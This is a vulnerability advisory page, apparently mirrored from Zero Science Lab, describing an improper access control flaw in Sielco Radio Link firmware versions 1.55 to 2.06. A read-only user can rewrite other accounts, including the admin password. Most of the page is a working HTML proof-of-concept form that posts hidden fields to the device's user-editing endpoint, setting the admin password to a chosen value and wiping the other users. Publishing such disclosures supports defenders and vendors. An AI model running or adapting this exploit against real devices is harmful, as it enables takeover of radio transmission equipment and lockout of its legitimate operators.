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Sielco Radio Link 2.06 Improper Access Control Change Admin Password

🗓️ 30 Mar 2023 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 255 Views

Sielco Radio Link 2.06 Improper Access Control Change Admin Password vulnerabilit

Related
Code
<!--


Sielco Radio Link 2.06 Improper Access Control Change Admin Password


Vendor: Sielco S.r.l
Product web page: https://www.sielco.org
Affected version: 2.06 (RTX19)
                  2.05 (RTX19)
                  2.00 (EXC19)
                  1.60 (RTX19)
                  1.59 (RTX19)
                  1.55 (EXC19)

Summary: Sielco develops and produces radio links for all transmission
and reception needs, thanks to innovative units and excellent performances,
accompanied by a high reliability and low consumption.

Desc: The application suffers from improper access control when editing
users. A user with Read permissions can manipulate users, passwords and
permissions by sending a single HTTP POST request with modified parameters
and edit other users' names, passwords and permissions including admin
password.

Tested on: lwIP/2.1.1
           Web/2.9.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2023-5760
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5760.php


26.01.2023

--><html>
<body>
<form action="http://radiolink/protect/users_rx.htm" method="POST">
<input name="pwd0" type="hidden" value="Ch4nged12"/> <!-- This will set/modify admin pwd -->
<input name="pwd0bis" type="hidden" value="Ch4nged12"/> <!-- This will set/modify admin pwd -->
<input name="user1" type="hidden" value=""/> <!-- This will set/modify user1 -->
<input name="pwd1" type="hidden" value=""/> <!-- This will set/modify user1 pwd -->
<input name="pwd1bis" type="hidden" value=""/> <!-- This will set/modify user1 pwd -->
<input name="auth1" type="hidden" value="0"/> <!-- This will set user1 read perm -->
<input name="user2" type="hidden" value=""/> <!-- This will set/modify user2 -->
<input name="pwd2" type="hidden" value=""/> <!-- This will set/modify user2 pwd -->
<input name="pwd2bis" type="hidden" value=""/> <!-- This will set/modify user2 pwd -->
<input name="auth2" type="hidden" value="0"/> <!-- This will set user2 read perm -->
<input name="user3" type="hidden" value=""/> <!-- This will set/modify user3 -->
<input name="pwd3" type="hidden" value=""/> <!-- This will set/modify user3 pwd -->
<input name="pwd3bis" type="hidden" value=""/> <!-- This will set/modify user3 pwd -->
<input name="auth3" type="hidden" value="0"/> <!-- This will set user3 read perm -->
<input type="submit" value="Modify admin pwd, delete all users"/>
</form>
</body>
</html>

Data

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30 Mar 2023 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 3.16.5
EPSS0.00042
SSVC
255